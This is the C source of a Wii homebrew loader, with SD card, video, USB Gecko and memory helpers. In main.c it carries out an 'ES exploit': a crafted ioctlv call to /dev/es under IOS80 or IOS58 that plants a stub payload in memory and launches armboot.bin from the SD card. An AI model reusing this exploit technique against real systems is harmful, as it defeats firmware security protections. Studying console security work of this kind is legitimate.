/* Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
This code is licensed to you under the terms of the GNU GPL, version 2;
see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt */
OUTPUT_FORMAT("elf32-powerpc")
OUTPUT_ARCH(powerpc:common)
ENTRY(_start)
SECTIONS {
. = 0x93000000;
.start : { crt0.o(*) }
.text : { *(.text) }
.rodata : { *(.rodata .rodata.*)}
.data : { *(.data) }
__bss_start = .;
.bss : { *(.bss) }
__bss_end = .;
. = ALIGN(0x40);
.stack : {
. += 0x8000;
_stack_top = .;
}
}

163
main.c Normal file
View File

@ -0,0 +1,163 @@
// Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
// This code is licensed to you under the terms of the GNU GPL, version 2;
// see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
#include "loader.h"
#include "stub.h"
static u8 *const code_buffer = (u8 *)0x80040000;
static u8 *const trampoline_buffer = (u8 *)0x80001800;
static void dsp_reset(void)
{
write16(0x0c00500a, read16(0x0c00500a) & ~0x01f8);
write16(0x0c00500a, read16(0x0c00500a) | 0x0010);
write16(0x0c005036, 0);
}
static u32 reboot_trampoline[] = {
0x3c209300, // lis 1,0x9300
0x60210000, // ori 1,1,0x0000
0x7c2903a6, // mtctr 1
0x4e800420 // bctr
};
int try_sd_load(void)
{
int err;
err = sd_init();
if (err) {
printf("SD card not found (%d)\n", err);
return err;
}
err = fat_init();
if (err == 0)
printf("SD card detected\n");
else {
printf("SD card not detected (%d)\n", err);
return err;
}
// if (usbgecko_checkgecko())
// printf("USBGecko serial interface detected\n");
// else
// printf("USBGecko serial interface not detected\n");
printf("Opening bootmii/armboot.bin:\n");
err = fat_open("bootmii/armboot.bin");
if (err) {
printf("bootmii/armboot.bin not found (%d)\n", err);
return err;
}
extern u32 fat_file_size;
printf("reading %d bytes...\n", fat_file_size);
err = fat_read(code_buffer, fat_file_size);
if (err) {
printf("Error %d reading file\n", err);
return err;
}
sync_after_write(code_buffer, fat_file_size);
printf("Done.\n");
return 0;
}
void __eabi(void){}
int main(void)
{
dsp_reset();
exception_init();
// Install trampoline at 80001800; some payloads like to jump
// there to restart. Sometimes this can even work.
memcpy(trampoline_buffer, reboot_trampoline, sizeof(reboot_trampoline));
// Clear interrupt mask.
write32(0x0c003004, 0);
// Unlock EXI.
write32(0x0d00643c, 0);
video_init();
usbgecko_init();
printf("savezelda %s\n", version);
printf("\n");
printf("Copyright 2018-2020 Dexter Gerig\n");
printf("Copyright 2008,2009 Segher Boessenkool\n");
printf("Copyright 2008 Haxx Enterprises\n");
printf("Copyright 2008 Hector Martin (\"marcan\")\n");
printf("Copyright 2003,2004 Felix Domke\n");
printf("\n");
printf("This code is licensed to you under the terms of the\n");
printf("GNU GPL, version 2; see the file COPYING\n");
printf("\n");
printf("Font and graphics by Freddy Leitner\n");
printf("\n");
printf("\n");
printf("Cleaning up environment... ");
reset_ios();
printf("OK.\n");
printf("Reloading to IOS80\n");
int err = ios_reload(80);
if (err) {
printf("Fail, attempting to reload to IOS58\n");
err = ios_reload(58);
if (err) {
printf("Sorry, the ES exploit is only tested on IOS80 or 58\n");
goto hang;
}
}
printf("Vuln discovery: metaconstruct\n");
printf("Implementation: Fullmetal5\n");
printf("Doing hax\n");
err = try_sd_load();
if (err) {
printf("Couldn't load bootmii/armboot.bin\n");
goto hang;
}
int es_hndl = ios_open("/dev/es", 0);
printf("es_hndl: %d\n", es_hndl);
STACK_ALIGN(struct ioctlv, hax, 2, 32);
STACK_ALIGN(u32, a, 1, 32);
*a = 0x00000000;
printf("Preping call\n");
hax[0].data = a;
hax[0].len = 4;
hax[1].data = phys_to_virt(0x201125b0);
hax[1].len = 0;
printf("Copying ES payload: 0x80010000:%x\n", stub_bin_len);
memcpy(0x80010000, stub_bin, stub_bin_len);
sync_after_write(0x80010000, stub_bin_len);
printf("Launching armboot\n");
int ret = ios_ioctlv(es_hndl, 0xf, 1, 1, hax);
printf("Um, you shouldn't see this, something has gone wrong!\n");
printf("ret: %d\n", ret);
hang:
for (;;)
;
return 0;
}

283
sd.c Normal file
View File

@ -0,0 +1,283 @@
// Copyright 2008 Haxx Enterprises <bushing@gmail.com>
// Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
// This code is licensed to you under the terms of the GNU GPL, version 2;
// see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
#include "loader.h"
static int fd;
static u32 rca; // 16 bottom bits are stuff bits
static int sd_hc_write8(u8 reg, u8 data)
{
u32 param[6];
int err;
memset(param, 0, sizeof param);
param[0] = reg;
param[3] = 1; // reg size
param[4] = data;
err = ios_ioctl(fd, 1, param, sizeof param, 0, 0);
return err;
}
static int sd_hc_read8(u8 reg, u8 *x)
{
u32 param[6];
u32 data;
int err;
memset(param, 0, sizeof param);
param[0] = reg;
param[3] = 1; // reg size
param[4] = 0;
err = ios_ioctl(fd, 2, param, sizeof param, &data, sizeof data);
if (err)
return err;
*x = data;
return err;
}
static int sd_reset_card(void)
{
u32 reply;
int err;
err = ios_ioctl(fd, 4, 0, 0, &reply, sizeof reply);
if (err)
return err;
rca = reply & 0xffff0000;
// printf("sd_reset_card(): got reply = %08x\n", reply);
return 0;
}
static int sd_set_clock(void)
{
u32 clock;
int err;
clock = 1; // half of the sdclk divisor: a power of two or zero,
// should look at capabilities reg to compute this
err = ios_ioctl(fd, 6, &clock, sizeof clock, 0, 0);
return err;
}
static int sd_command(u32 cmd, u32 cmd_type, u32 resp_type, u32 arg,
u32 block_count, u32 block_size, void *addr,
u32 *outreply, u32 reply_size)
{
u32 param[9];
u32 reply[4];
int err;
param[0] = cmd;
param[1] = cmd_type;
param[2] = resp_type;
param[3] = arg;
param[4] = block_count;
param[5] = block_size;
param[6] = (u32)addr;
param[7] = 0; // ???
param[8] = 0; // ???
err = ios_ioctl(fd, 7, param, sizeof param, reply, sizeof reply);
if (reply_size) // ???
memcpy(outreply, reply, reply_size);
return err;
}
#define TYPE_BC 1
#define TYPE_BCR 2
#define TYPE_AC 3
#define TYPE_ADTC 4
#define RESPONSE_NONE 0
#define RESPONSE_R1 1
#define RESPONSE_R1B 2
#define RESPONSE_R2 3
#define RESPONSE_R3 4
#define RESPONSE_R4 5
#define RESPONSE_R5 6
#define RESPONSE_R6 7
static int sd_app_command(u32 cmd, u32 cmd_type, u32 resp_type, u32 arg,
u32 block_count, u32 block_size, void *addr,
u32 *outreply, u32 reply_size)
{
int err;
err = sd_command(55, TYPE_AC, RESPONSE_R1, rca, 0, 0, 0, 0, 0);
if (err)
return err;
err = sd_command(cmd, cmd_type, resp_type, arg,
block_count, block_size, addr,
outreply, reply_size);
return err;
}
static int sd_data_command(u32 cmd, u32 cmd_type, u32 resp_type, u32 arg,
u32 block_count, u32 block_size, void *data,
u32 unk1, u32 unk2, u32 *outreply, u32 reply_size)
{
u32 param[9];
u32 reply[4];
struct ioctlv vec[3];
int err;
param[0] = cmd;
param[1] = cmd_type;
param[2] = resp_type;
param[3] = arg;
param[4] = block_count;
param[5] = block_size;
param[6] = (u32)data;
param[7] = unk1; // ???
param[8] = unk2; // ???
vec[0].data = param;
vec[0].len = sizeof param;
vec[1].data = data;
vec[1].len = block_count * block_size;
vec[2].data = reply;
vec[2].len = sizeof reply;
err = ios_ioctlv(fd, 7, 2, 1, vec);
if (reply_size) // ???
memcpy(outreply, reply, reply_size);
return err;
}
static int sd_select(void)
{
int err;
//printf("Selecting card:\n");
err = sd_command(7, TYPE_AC, RESPONSE_R1B, rca, 0, 0, 0, 0, 0);
return err;
}
static int sd_set_blocklength(u32 len)
{
int err;
//printf("sd_set_blocklength(%u)\n", len);
err = sd_command(16, TYPE_AC, RESPONSE_R1, len, 0, 0, 0, 0, 0);
return err;
}
static int sd_set_bus_width(int width)
{
u32 arg;
u8 reg;
int err;
// First notify the card.
arg = (width == 4) ? 2 : 0;
//printf("sd_set_bus_width()\n");
err = sd_app_command(6, TYPE_AC, RESPONSE_R1, arg, 0, 0, 0, 0, 0);
if (err)
return err;
// Now change the Host Control Register.
err = sd_hc_read8(0x28, &reg);
if (err)
return err;
reg = (reg & ~2) | arg;
err = sd_hc_write8(0x28, reg);
return err;
}
int sd_read_sector(u8 *data, u32 offset)
{
u32 reply[4];
int err;
if (offset >= 0x800000)
return -1;
err = sd_data_command(18, TYPE_AC, RESPONSE_R1, 0x200 * offset,
1, 0x200, data, 1, 0, reply, sizeof reply);
sync_before_read(data, 0x200);
//printf("READ block %d\r",offset);
if (err)
printf("SD READ %d: err=%08x, reply=%08x %08x %08x %08x\n",
offset, err, reply[0], reply[1], reply[2], reply[3]);
return err;
}
int sd_close(void)
{
return ios_close(fd);
}
int sd_init(void)
{
int err;
fd = ios_open("/dev/sdio/slot0", 0);
if (fd < 0)
return fd;
err = sd_reset_card();
if (err) {
printf("SD Card not present? (%d)\n", err);
goto out;
}
// now in standby state
err = sd_select();
if (err)
goto out;
// now in transfer state
// Some broken cards require this:
err = sd_set_blocklength(0x200);
if (err)
goto out;
err = sd_set_bus_width(4); // XXX: Should check in SCR first.
if (err)
goto out;
err = sd_set_clock(); // XXX: Should check.
if (err)
goto out;
return 0;
out:
sd_close();
return err;
}

58
string.c Normal file
View File

@ -0,0 +1,58 @@
// Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
// This code is licensed to you under the terms of the GNU GPL, version 2;
// see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
#include "loader.h"
size_t strlen(const char *s)
{
size_t len;
for (len = 0; s[len]; len++)
;
return len;
}
size_t strnlen(const char *s, size_t count)
{
size_t len;
for (len = 0; s[len] && len < count; len++)
;
return len;
}
void *memset(void *b, int c, size_t len)
{
size_t i;
for (i = 0; i < len; i++)
((unsigned char *)b)[i] = c;
return b;
}
void *memcpy(void *dst, const void *src, size_t len)
{
size_t i;
for (i = 0; i < len; i++)
((unsigned char *)dst)[i] = ((unsigned char *)src)[i];
return dst;
}
int memcmp(const void *b1, const void *b2, size_t len)
{
size_t i;
for (i = 0; i < len; i++) {
int diff = ((unsigned char *)b1)[i] - ((unsigned char *)b2)[i];
if (diff)
return diff;
}
return 0;
}

44
sync.c Normal file
View File

@ -0,0 +1,44 @@
// Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
// This code is licensed to you under the terms of the GNU GPL, version 2;
// see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
#include "loader.h"
void sync_before_read(void *p, u32 len)
{
u32 a, b;
a = (u32)p & ~0x1f;
b = ((u32)p + len + 0x1f) & ~0x1f;
for ( ; a < b; a += 32)
asm("dcbi 0,%0" : : "b"(a) : "memory");
asm("sync ; isync");
}
void sync_after_write(const void *p, u32 len)
{
u32 a, b;
a = (u32)p & ~0x1f;
b = ((u32)p + len + 0x1f) & ~0x1f;
for ( ; a < b; a += 32)
asm("dcbst 0,%0" : : "b"(a));
asm("sync ; isync");
}
void sync_before_exec(const void *p, u32 len)
{
u32 a, b;
a = (u32)p & ~0x1f;
b = ((u32)p + len + 0x1f) & ~0x1f;
for ( ; a < b; a += 32)
asm("dcbst 0,%0 ; sync ; icbi 0,%0" : : "b"(a));
asm("sync ; isync");
}

31
time.c Normal file
View File

@ -0,0 +1,31 @@
// Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
// This code is licensed to you under the terms of the GNU GPL, version 2;
// see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
#include "loader.h"
// Timebase frequency is bus frequency / 4. Ignore roundoff, this
// doesn't have to be very accurate.
#define TICKS_PER_USEC (243/4)
static u32 mftb(void)
{
u32 x;
asm volatile("mftb %0" : "=r"(x));
return x;
}
static void __delay(u32 ticks)
{
u32 start = mftb();
while (mftb() - start < ticks)
;
}
void udelay(u32 us)
{
__delay(TICKS_PER_USEC * us);
}

131
usbgecko.c Normal file
View File

@ -0,0 +1,131 @@
// Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
// This code is licensed to you under the terms of the GNU GPL, version 2;
// see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
// Based on code:
// Copyright (c) 2008 - Nuke - <wiinuke@gmail.com>
#include "loader.h"
static void exi_write(u32 addr, u32 x)
{
write32(0x0d006800 + addr, x);
}
static u32 exi_read(u32 addr)
{
return read32(0x0d006800 + addr);
}
#define EXI_CH1_STATUS 0x14
#define EXI_CH1_CONTROL 0x20
#define EXI_CH1_DATA 0x24
static void usbgecko_deselect_device(void)
{
exi_write(EXI_CH1_STATUS, 0);
}
static void usbgecko_select_device(void)
{
// device 0, 16MHz
exi_write(EXI_CH1_STATUS, 0xc0);
}
static void usbgecko_wait_for_transfer_complete(void)
{
while (exi_read(EXI_CH1_CONTROL) & 1)
;
}
u8 usbgecko_flash_read8(u32 offset)
{
u8 x;
usbgecko_deselect_device();
usbgecko_select_device();
exi_write(EXI_CH1_DATA, 0xf0000000 | (offset << 9));
exi_write(EXI_CH1_CONTROL, 0x35); // 4 bytes immediate write
usbgecko_wait_for_transfer_complete();
usbgecko_select_device();
exi_write(EXI_CH1_CONTROL, 0x39); // 4 bytes immediate read/write
usbgecko_wait_for_transfer_complete();
x = exi_read(EXI_CH1_DATA) >> 23;
usbgecko_deselect_device();
return x;
}
u32 usbgecko_flash_read32(u32 offset)
{
u32 x, i;
x = 0;
for (i = 0; i < 4; i++)
x = (x << 8) | usbgecko_flash_read8(offset++);
return x;
}
static int usbgecko_console_enabled = 0;
static u32 usbgecko_command(u32 command)
{
u32 x;
usbgecko_select_device();
exi_write(EXI_CH1_DATA, command);
exi_write(EXI_CH1_CONTROL, 0x19); // 2 bytes immediate read/write
usbgecko_wait_for_transfer_complete();
x = exi_read(EXI_CH1_DATA);
usbgecko_deselect_device();
return x;
}
int usbgecko_checkgecko(void)
{
return usbgecko_command(0x90000000) == 0x04700000;
}
void usbgecko_console_putc(u8 c)
{
u32 x;
if (!usbgecko_console_enabled)
return;
if (c == '\n')
usbgecko_console_putc('\r');
x = usbgecko_command(0xb0000000 | (c << 20));
}
static void usbgecko_flush(void)
{
u32 x;
do {
x = usbgecko_command(0xa0000000);
} while (x & 0x08000000);
}
void usbgecko_init(void)
{
if (!usbgecko_checkgecko())
return;
usbgecko_console_enabled = 1;
usbgecko_flush();
}

168
video.c Normal file
View File

@ -0,0 +1,168 @@
// Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
// Copyright 2003-2004 Felix Domke <tmbinc@elitedvb.net>
// This code is licensed to you under the terms of the GNU GPL, version 2;
// see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
#include "loader.h"
extern u8 console_font_10x16x4[];
#define FONT_XSIZE 10
#define FONT_YSIZE 16
#define FONT_XGAP 0
#define FONT_YGAP 2
static struct {
u32 xres, yres, stride;
u32 cursor_x, cursor_y;
u32 border_left, border_right, border_top, border_bottom;
} fb;
static void fb_write(u32 offset, u32 x)
{
// write32(0x00f00000 + offset, x);
u32 *p = (u32 *)(0x80f00000 + offset);
*p = x;
sync_after_write(p, 4);
}
static u32 fb_read(u32 offset)
{
// return read32(0x00f00000 + offset);
u32 *p = (u32 *)(0x80f00000 + offset);
return *p;
}
static void fb_clear_lines(u32 top, u32 lines)
{
u32 x, y;
u32 offset;
offset = fb.stride * top;
for (y = 0; y < lines; y++) {
for (x = 0; x < fb.xres/2; x++)
fb_write(offset + 4*x, 0x00800080);
offset += fb.stride;
}
}
static void fb_scroll_line(void)
{
u32 x, y;
u32 offset, delta;
u32 lines = FONT_YSIZE + FONT_YGAP;
offset = fb.stride * fb.border_top;
delta = fb.stride * lines;
for (y = fb.border_top; y < fb.yres - lines; y++) {
for (x = 0; x < fb.xres/2; x++)
fb_write(offset + 4*x, fb_read(offset + 4*x + delta));
offset += fb.stride;
}
fb_clear_lines(fb.yres - lines, lines);
fb.cursor_y -= lines;
}
static void fb_drawc(u32 x, u32 y, u8 c)
{
if (c < 0x20 || c > 0x7f)
c = 0x7f;
c -= 0x20;
u32 offset = fb.stride*y + 2*x;
u8 *font = &console_font_10x16x4[c * FONT_XSIZE * FONT_YSIZE / 2];
u32 ax, ay;
for (ay = 0; ay < FONT_YSIZE; ay++) {
for (ax = 0; ax < FONT_XSIZE / 2; ax++) {
u8 bits = *font++;
u32 nybh = bits & 0xf0;
u32 nybl = bits & 0x0f;
u32 q = 0x00800080;
q |= (nybh << 24) | (nybh << 20);
q |= (nybl << 12) | (nybl << 8);
fb_write(offset + 4*ax, q);
}
offset += fb.stride;
}
}
void fb_putc(char c)
{
switch (c) {
case '\n':
fb.cursor_y += FONT_YSIZE + FONT_YGAP;
case '\r':
fb.cursor_x = fb.border_left;
break;
default:
fb_drawc(fb.cursor_x, fb.cursor_y, c);
fb.cursor_x += FONT_XSIZE + FONT_XGAP;
if ((fb.cursor_x + FONT_XSIZE) > fb.border_right) {
fb.cursor_y += FONT_YSIZE + FONT_YGAP;
fb.cursor_x = fb.border_left;
}
}
if (fb.cursor_y + FONT_YSIZE >= fb.border_bottom)
fb_scroll_line();
}
static void fb_init(u32 xres, u32 yres, u32 stride)
{
fb.xres = xres;
fb.yres = yres;
fb.stride = stride;
fb.border_left = 30;
fb.border_top = 30;
fb.border_right = fb.xres - 30;
fb.border_bottom = fb.yres - 30;
fb.cursor_x = fb.border_left;
fb.cursor_y = fb.border_top;
fb_clear_lines(0, fb.yres);
}
void video_init(void)
{
// read VTR register to determine linecount and mode
u32 vtr = read16(0x0c002000);
u32 lines = vtr >> 4;
if ((vtr & 0x0f) > 10) { // progressive
// set framebuffer position
write32(0x0c00201c, 0x00f00000);
write32(0x0c002024, 0x00f00000);
} else { //interlaced
lines *= 2;
u32 vto = read32(0x0c00200c);
u32 vte = read32(0x0c002010);
// set framebuffer position
// try to figure out the interlacing order
if ((vto & 0x03ff) < (vte & 0x03ff)) {
write32(0x0c00201c, 0x00f00000);
write32(0x0c002024, 0x00f00000 + 2*640);
} else {
write32(0x0c00201c, 0x00f00000 + 2*640);
write32(0x0c002024, 0x00f00000);
}
}
fb_init(640, lines, 2*640);
}